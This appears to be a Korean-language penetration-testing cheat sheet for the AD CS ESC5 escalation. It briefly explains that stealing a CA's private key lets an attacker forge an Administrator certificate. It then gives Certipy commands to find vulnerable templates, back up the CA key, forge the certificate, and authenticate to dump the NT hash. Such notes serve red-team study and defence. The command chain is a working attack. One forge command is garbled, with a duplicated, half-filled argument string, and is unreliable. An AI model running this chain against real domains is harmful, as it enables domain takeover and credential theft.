ESC5

Certipy는 템플릿에 대해서 정보를 수집하고 공격 가능한 방법을 열거하는 도구기 때문에 도메인에 대한 ACL을 광범위하게 수집하는 정보 수집 도구(예 : BloodHound)를 사용했을 때 식별할 수 있습니다.

CA 서버에서 로컬 관리자 권한을 획득하면 CA 인증서와 개인 키를 발급받는 것이 가능합니다. CA의 개인키를 통해 Administrator의 인증서를 위조하여 서명하면 무결한 위조 인증서가 생성됩니다.

Abuse

UNIX

# 취약한 템플릿 열거
certipy-ad find -u '<username>' -p '<password>' -dc-ip '<dc-ip>' -vulnerable -stdout -enabled

# CA 서버 인증서 발급
certipy-ad ca -u '<username@domain>' -p '<password>' -dc-ip '<dc-ip>' -target '<ca-fqdn>' -config '<ca-fqdn>' -backup

# Administrator 인증서 발급
certipy-ad forge -ca-pfx CONTOSO-AD01-CA.pfx -upn [email protected] forge -ca-pfx '<pfx>' -upn 'administrator@domain' -sid '<sid>' -crl 'ldap:///'

# 인증서로부터 nt해시 덤프
certipy-ad auth -pfx '<pfx>' -dc-ip '<dc-ip>'

References

Active Directory “Golden” Certificate Attack (ADCS – ESC5) | RBT SecurityRBT Security | Reinventing The Security

06 ‐ Privilege EscalationGitHub

ADCS ESC5: Vulnerable PKI Object Access ControlHacking Articles